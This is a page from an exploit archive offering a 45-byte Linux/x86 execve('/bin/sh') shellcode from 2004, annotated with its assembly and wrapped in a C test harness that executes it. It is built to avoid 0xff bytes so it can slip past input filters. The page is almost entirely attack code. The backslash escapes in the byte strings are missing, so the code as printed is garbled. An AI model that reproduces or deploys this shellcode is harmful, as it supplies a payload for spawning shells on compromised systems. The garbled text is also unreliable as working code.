[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 execve /bin/sh IA32 0xff-less 45 bytes
# Published : 2004-09-26
# Author : anathema
# Previous Title : linux/x86 execve /bin/sh alphanumeric 392 bytes
# Next Title : linux/x86 symlink /bin/sh xoring 56 bytes


/*

  0xff-less execve() /bin/sh by anathema <anathema@hack.co.za>

*/

#include <stdio.h>
#include <stdlib.h>

unsigned char code[] = 

/* Linux/IA32 0xff-less execve() shellcode.  */

"x89xe6"                          /* movl %esp, %esi          */
"x83xc6x30"                      /* addl $0x30, %esi         */
"xb8x2ex62x69x6e"              /* movl $0x6e69622e, %eax   */
"x40"                              /* incl %eax                */
"x89x06"                          /* movl %eax, (%esi)        */
"xb8x2ex73x68x21"              /* movl $0x2168732e, %eax   */
"x40"                              /* incl %eax                */
"x89x46x04"                      /* movl %eax, 0x04(%esi)    */
"x29xc0"                          /* subl %eax, %eax          */
"x88x46x07"                      /* movb %al, 0x07(%esi)     */
"x89x76x08"                      /* movl %esi, 0x08(%esi)    */
"x89x46x0c"                      /* movl %eax, 0x0c(%esi)    */
"xb0x0b"                          /* movb $0x0b, %al          */
"x87xf3"                          /* xchgl %esi, %ebx         */
"x8dx4bx08"                      /* leal 0x08(%ebx), %ecx    */
"x8dx53x0c"                      /* leal 0x0c(%ebx), %edx    */
"xcdx80"                          /* int $0x80                */
;

void main()
{
  void (*s)() = (void *)code;

  printf("Shellcode length: %dnExecuting..nn",
      strlen(code));
  s();
}

// www.Syue.com [2004-09-26]